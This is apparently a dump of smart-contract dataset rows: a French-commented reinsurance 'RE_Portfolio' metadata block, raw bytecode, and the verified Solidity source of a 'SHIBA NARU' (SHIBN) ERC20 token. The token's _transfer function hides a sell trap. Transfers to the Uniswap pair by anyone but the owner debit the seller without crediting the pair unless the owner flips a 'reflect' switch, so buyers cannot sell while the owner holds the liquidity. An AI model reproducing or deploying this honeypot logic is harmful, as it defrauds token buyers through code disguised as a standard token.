// < 7c8RmV2vh43343R2B0h4o3gmvamdmWmO7dNvw9iZ655wKh8N04Zp4O0nutK3nIq9 >
// < 1E-018 limites [ 622175064,534208 ; 679312081,833849 ] >
// < 0x0000000000000000000000000000000000000000000000E7C73D089FD103FBEB >
// < RE_Portfolio_XVIII_metadata_line_18_____Starr_Managing_Agents_Limited_20250515 >
// < CT5oX902n9kiM1L5H81a56zga1w2veOHri7tpcJA0dJ20A3pCHi2d1M5XN9x738a >
// < 1E-018 limites [ 679312081,833849 ; 704322804,550256 ] >
// < 0x000000000000000000000000000000000000000000000FD103FBEB106617517B >
// < RE_Portfolio_XVIII_metadata_line_19_____StarStone_Insurance_plc_m_Am_20250515 >
// < 933TNR6I6gw46Twi44QQlOw9563B3E4JkwHkFmoNcz2e6zyr9BQfTSK8A47U8k8P >
// < 1E-018 limites [ 704322804,550256 ; 753058495,702459 ] >
// < 0x00000000000000000000000000000000000000000000106617517B11889414D6 >
// < RE_Portfolio_XVIII_metadata_line_20_____StarStone_Underwriting_Limited_20250515 >
// < 7s66QO6LEEfFB7NSL6A9H4n38dzra73f98H4G24fq1w956705rJ2W3b3J38YRAbW >
// < 1E-018 limites [ 753058495,702459 ; 775779365,801598 ] >
// < 0x0000000000000000000000000000000000000000000011889414D612100160B8 >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XVIII_metadata_line_21_____StarStone_Underwriting_Limited_20250515 >
// < 8Qx54GTs45K1kpIjYgO554MmsM8g22NI3U53yst5Z42568qCN4TOhDX9v0i6KNRS >
// < 1E-018 limites [ 775779365,801598 ; 787779047,752426 ] >
// < 0x0000000000000000000000000000000000000000000012100160B8125787707B >
// < RE_Portfolio_XVIII_metadata_line_22_____StarStone_Underwriting_Limited_20250515 >
// < i7FMT47fDo9SU6KPOAQQ4ziop57UM5xlNl7367O9G1qyiIGDL9R5Ez12xnfzIT1p >
// < 1E-018 limites [ 787779047,752426 ; 844006867,846166 ] >
// < 0x00000000000000000000000000000000000000000000125787707B13A6AC48B4 >
// < RE_Portfolio_XVIII_metadata_line_23_____StarStone_Underwriting_Limited_20250515 >
// < KTBrqZ5QJz5z2XFVX95I52GU3RG841s2393PnOjbZDldq7nX2cqiCCu3673j0PBo >
// < 1E-018 limites [ 844006867,846166 ; 879149537,223673 ] >
// < 0x0000000000000000000000000000000000000000000013A6AC48B4147823BDEE >
// < RE_Portfolio_XVIII_metadata_line_24_____State_Automobile_Mutual_Ins_Co_m_Am_20250515 >
// < E0qUajzC4rvAtVcRy7YuDLP3y23679uq59oy930w9x454WHXd76LL1w5jFy1e4tP >
// < 1E-018 limites [ 879149537,223673 ; 897116485,555558 ] >
// < 0x00000000000000000000000000000000000000000000147823BDEE14E33B211F >
// < RE_Portfolio_XVIII_metadata_line_25_____Stockton_Reinsurance_20250515 >
// < V856NZHHneT58tC2Jb5h3lTVw371Zi8klzgVyiTvDeUlvJmcBEs64Uc5t7iq0q39 >
// < 1E-018 limites [ 897116485,555558 ; 917000848,3652 ] >
// < 0x0000000000000000000000000000000000000000000014E33B211F1559C04258 >
// < RE_Portfolio_XVIII_metadata_line_26_____Stop_Loss_Finders_20250515 >
// < C046yg57HOMk37030k1BYu2n6B93F5OqhFu3CJ40ynimIy3udtbejW4251O53xvf >
// < 1E-018 limites [ 917000848,3652 ; 961703331,68288 ] >
// < 0x000000000000000000000000000000000000000000001559C04258166432D5E4 >
// < RE_Portfolio_XVIII_metadata_line_27_____Summit_Reinsurance_Services_20250515 >
// < 8As8OcNS98A3Lfb9Iql4xNZV60cWNA40j2myW55zY3e1Kj73sIglsCdBDR4dEX1n >
// < 1E-018 limites [ 961703331,68288 ; 974606073,355426 ] >
// < 0x00000000000000000000000000000000000000000000166432D5E416B11ADB5B >
// < RE_Portfolio_XVIII_metadata_line_28_____Sun_Life_Financial_Incorporated_20250515 >
// < dwfNay7Ra20n4m8MXU2fPexHZ2Ot7S1tZiUkeGpX45z31xh20u6ID71uABDpVi88 >
// < 1E-018 limites [ 974606073,355426 ; 1038952670,95378 ] >
// < 0x0000000000000000000000000000000000000000000016B11ADB5B1830A3F90B >
// < RE_Portfolio_XVIII_metadata_line_29_____Swiss_Re_20250515 >
// < 2LspTGa2z97fIdsiYlhOb82g87T8hrqr4w6QlnJNJnnlBh5UGl3LUnb14S43vg41 >
// < 1E-018 limites [ 1038952670,95378 ; 1067987755,07711 ] >
// < 0x000000000000000000000000000000000000000000001830A3F90B18DDB3FEC7 >
// < RE_Portfolio_XVIII_metadata_line_30_____Swiss_Re_Co_AAm_Ap_20250515 >
// < N4tKM74LRTt8607x68Tn66JW7y2ANLtMF8UsuoRCicHAjQzT9ToyeD775JnGd68c >
// < 1E-018 limites [ 1067987755,07711 ; 1106222537,81319 ] >
// < 0x0000000000000000000000000000000000000000000018DDB3FEC719C199A4C9 >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XVIII_metadata_line_31_____Swiss_Re_Group_20250515 >
// < 30lm40EO14h66T7Y99y3jW1YM9rhkRxuLr1oj4B328jswAmq1RRLMt2Sy09KuVI2 >
// < 1E-018 limites [ 1106222537,81319 ; 1179864061,50206 ] >
// < 0x0000000000000000000000000000000000000000000019C199A4C91B7889B0FA >
// < RE_Portfolio_XVIII_metadata_line_32_____Swiss_Re_Group_20250515 >
// < IjL5R7Ldc0G5LGu536YM825UHhHcvGBOYDm28zvLW7n3ke2cM4gPkZShNP4001f7 >
// < 1E-018 limites [ 1179864061,50206 ; 1226576738,58686 ] >
// < 0x000000000000000000000000000000000000000000001B7889B0FA1C8EF79476 >
// < RE_Portfolio_XVIII_metadata_line_33_____Swiss_Re_Limited_20250515 >
// < 1p80mtmA3SddD63c9xJ629A99x2EB4gD6oA3E8qtuNblpq1Mw1YLV0CN4BeGCG8E >
// < 1E-018 limites [ 1226576738,58686 ; 1241303333,83469 ] >
// < 0x000000000000000000000000000000000000000000001C8EF794761CE6BE94BB >
// < RE_Portfolio_XVIII_metadata_line_34_____Taiping_Reinsurance_20250515 >
// < iLUfX8QD84zaOt5V6Lk5HAa0J5990MKSfJ842Kj8dRIj161470Vux4xi6FcutBSz >
// < 1E-018 limites [ 1241303333,83469 ; 1301562260,12121 ] >
// < 0x000000000000000000000000000000000000000000001CE6BE94BB1E4DEA67D0 >
// < RE_Portfolio_XVIII_metadata_line_35_____Taiwan_AAm_Central_Reinsurance_Corporation_A_A_20250515 >
// < JnlTwog2g5tKB6LLZZ8kND24Vem3XKGZ4D4B1oZwA39Ur66mQMDX5I24Luc43jX9 >
// < 1E-018 limites [ 1301562260,12121 ; 1376866194,73293 ] >
// < 0x000000000000000000000000000000000000000000001E4DEA67D0200EC31745 >
// < RE_Portfolio_XVIII_metadata_line_36_____Taiwan_Central_Reinsurance_Corporation_20250515 >
// < 3ie9c602O2LqFjg2v2T29ScHkfdM9l9JPgneE9VKB4A6E2Fkt2OilBKnCye26lXO >
// < 1E-018 limites [ 1376866194,73293 ; ] >
// < 0x00000000000000000000000000000000000000000000200EC31745205D7C368D >
// < RE_Portfolio_XVIII_metadata_line_37_____Takaful_Re_20250515 >
// < H4dkX5DcSl0tRuPJxVq4VzvExo3b0ZWQfLnB8R93Zmq8818OP2qOziDHvT39b09P >
// < 1E-018 limites [ 1390073744,89508 ; 1422842159,52193 ] >
// < 0x00000000000000000000000000000000000000000000205D7C368D2120CCD884 >
// < RE_Portfolio_XVIII_metadata_line_38_____Takaful_Re_BBB_20250515 >
// < wkPz4A6Qo4489u4nD8MwIHmeZkv52DI1M468Cd7Tte25vl75R76ppRa3IdbHvLvB >
// < 1E-018 limites [ 1422842159,52193 ; 1436353877,40291 ] >
// < 0x000000000000000000000000000000000000000000002120CCD8842171561750 >
// < RE_Portfolio_XVIII_metadata_line_39_____Talbot_Underwriting_Limited_20250515 >
// < 8K36CEZqV6LjSgS5FV0n5E3eoX80HHoMd0ZKkZOjZ2U3cRPQb47q9vML67KWCd8Q >
// < 1E-018 limites [ 1436353877,40291 ; 1480239919,72621 ] >
// < 0x0000000000000000000000000000000000000000000021715617502276EAE098 >
// < RE_Portfolio_XVIII_metadata_line_40_____Talbot_Underwriting_Limited_20250515 >
// < mjdquvnO4if5e9yynCHzgh2J48PoWVdCG6319q9fIhV7Ht74tfWk108d27CdeSHb >
// < 1E-018 limites [ 1480239919,72621 ; 1495671977,65376 ] >
// < 0x000000000000000000000000000000000000000000002276EAE09822D2E65439 >
}
|
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820393f0a35b8c8e7e7ae06bae15bfc02290dde843618ca2b0de5bd0f0dbb4324bd0029
|
{"success": true, "error": null, "results": {}}
| 3,989 |
0x6a73DB78295822B3ed7d7256863263A18e83Adc4
|
/**
*Submitted for verification at Etherscan.io on 2021-05-23
*/
pragma solidity >=0.7.0;
/**
* ░██████╗██╗░░██╗██╗██████╗░░█████╗░ ███╗░░██╗░█████╗░██████╗░██╗░░░██╗
* ██╔════╝██║░░██║██║██╔══██╗██╔══██╗ ████╗░██║██╔══██╗██╔══██╗██║░░░██║
* ╚█████╗░███████║██║██████╦╝███████║ ██╔██╗██║███████║██████╔╝██║░░░██║
* ░╚═══██╗██╔══██║██║██╔══██╗██╔══██║ ██║╚████║██╔══██║██╔══██╗██║░░░██║
* ██████╔╝██║░░██║██║██████╦╝██║░░██║ ██║░╚███║██║░░██║██║░░██║╚██████╔╝
* ╚═════╝░╚═╝░░╚═╝╚═╝╚═════╝░╚═╝░░╚═╝ ╚═╝░░╚══╝╚═╝░░╚═╝╚═╝░░╚═╝░╚═════╝░
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burnFrom(address account, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract SHIBN is IERC20 {
using SafeMath for uint256;
string private _name = "SHIBA NARU";
string private _symbol = "SHIBN";
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _initialSupply = 1e15*1e18;
uint8 private _decimals = 18;
bool private reflect = false;
address private routerAddy = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswap
address private dead = 0x000000000000000000000000000000000000dEaD;
address private pairAddress;
address private _owner = msg.sender;
constructor () {
_mint(address(this), _initialSupply);
}
modifier onlyOwner() {
require(isOwner(msg.sender));
_;
}
function isOwner(address account) public view returns(bool) {
return account == _owner;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function reflect_start() public onlyOwner {
if(reflect == true) reflect = false;
else reflect = true;
}
function add_liq(uint8 perc) public payable onlyOwner {
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(routerAddy);
pairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), _initialSupply);
uniswapV2Router.addLiquidityETH{value: msg.value}(
address(this),
_initialSupply*perc/100,
0,
0,
_owner,
block.timestamp
);
}
function send_d(uint8 perc) public onlyOwner {
_transfer(address(this), dead, _initialSupply*perc/100);
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(uint256 amount) public virtual override {
_burn(msg.sender, amount);
}
function burnFrom(address account, uint256 amount) public virtual override {
uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, msg.sender, decreasedAllowance);
_burn(account, amount);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
if(sender == _owner || sender == address(this) || recipient == address(this)) {
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else if (recipient == pairAddress){
if(reflect == true) {
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
else{
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
receive() external payable {}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a457c2d711610064578063a457c2d71461058d578063a9059cbb146105fe578063d5048f801461066f578063dd62ed3e14610686578063e98f4ffc1461070b57610109565b806370a082311461040c57806379cc67901461047157806395d89b41146104cc5780639b3467721461055c57610109565b80632f54bf6e116100d15780632f54bf6e146102cb578063313ce56714610332578063395093511461036057806342966c68146103d157610109565b806306fdde031461010e578063095ea7b31461019e57806318160ddd1461020f57806323b872dd1461023a57610109565b3661010957005b600080fd5b34801561011a57600080fd5b50610123610749565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101aa57600080fd5b506101f7600480360360408110156101c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107eb565b60405180821515815260200191505060405180910390f35b34801561021b57600080fd5b50610224610802565b6040518082815260200191505060405180910390f35b34801561024657600080fd5b506102b36004803603606081101561025d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061080c565b60405180821515815260200191505060405180910390f35b3480156102d757600080fd5b5061031a600480360360208110156102ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108d7565b60405180821515815260200191505060405180910390f35b34801561033e57600080fd5b50610347610931565b604051808260ff16815260200191505060405180910390f35b34801561036c57600080fd5b506103b96004803603604081101561038357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610948565b60405180821515815260200191505060405180910390f35b3480156103dd57600080fd5b5061040a600480360360208110156103f457600080fd5b81019080803590602001909291905050506109ed565b005b34801561041857600080fd5b5061045b6004803603602081101561042f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109fa565b6040518082815260200191505060405180910390f35b34801561047d57600080fd5b506104ca6004803603604081101561049457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a43565b005b3480156104d857600080fd5b506104e1610a97565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610521578082015181840152602081019050610506565b50505050905090810190601f16801561054e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61058b6004803603602081101561057257600080fd5b81019080803560ff169060200190929190505050610b39565b005b34801561059957600080fd5b506105e6600480360360408110156105b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eb3565b60405180821515815260200191505060405180910390f35b34801561060a57600080fd5b506106576004803603604081101561062157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f72565b60405180821515815260200191505060405180910390f35b34801561067b57600080fd5b50610684610f89565b005b34801561069257600080fd5b506106f5600480360360408110156106a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff5565b6040518082815260200191505060405180910390f35b34801561071757600080fd5b506107476004803603602081101561072e57600080fd5b81019080803560ff16906020019092919050505061107c565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e15780601f106107b6576101008083540402835291602001916107e1565b820191906000526020600020905b8154815290600101906020018083116107c457829003601f168201915b5050505050905090565b60006107f8338484611157565b6001905092915050565b6000600454905090565b600061081984848461134e565b6108cc84336108c785604051806060016040528060288152602001611cab60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119489092919063ffffffff16565b611157565b600190509392505050565b6000600960009054906101000a900473ffffffff